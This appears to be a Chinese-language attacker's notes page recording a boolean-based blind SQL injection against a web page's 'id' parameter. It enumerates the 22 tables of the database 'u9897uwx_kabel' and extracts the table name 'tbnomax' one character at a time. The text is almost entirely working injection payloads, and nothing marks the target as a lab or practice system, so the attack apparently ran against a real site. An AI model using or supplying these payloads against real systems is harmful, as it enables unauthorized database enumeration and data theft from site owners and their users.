實戰2-注入

主頁面無論輸入什麼都不顯示錯誤，進去下面這個頁面，會有報錯資訊。

聯合查詢、報錯兩種方法爆出來的表不完整，，所以用布林型盲注的方法。

 

/?id=24 and (select count(table_name) from information_schema.tables where table_schema='u9897uwx_kabel') =22 %23  //22張表
/?id=24 and ascii(substr((select table_name from information_schema.tables where table_schema='u9897uwx_kabel' limit 21,1),1,1))=116%23    t
/?id=24 and ascii(substr((select table_name from information_schema.tables where table_schema='u9897uwx_kabel' limit 21,1),2,1))=98%23     b
/?id=24 and ascii(substr((select table_name from information_schema.tables where table_schema='u9897uwx_kabel' limit 21,1),3,1))=110%23     n
/?id=24 and ascii(substr((select table_name from information_schema.tables where table_schema='u9897uwx_kabel' limit 21,1),4,1))=111%23    o
/?id=24 and ascii(substr((select table_name from information_schema.tables where table_schema='u9897uwx_kabel' limit 21,1),5,1))=109%23    m
/?id=24 and ascii(substr((select table_name from information_schema.tables where table_schema='u9897uwx_kabel' limit 21,1),6,1))=97%23     a
/?id=24 and ascii(substr((select table_name from information_schema.tables where table_schema='u9897uwx_kabel' limit 21,1),7,1))=120%23   x

/?id=24 and ascii(substr((select table_name from information_schema.tables where table_schema='u9897uwx_kabel' limit 21,1),8,1))=0%23    //空格，說明表的名字已經爆完了

資料庫最後一張表為   tbnomax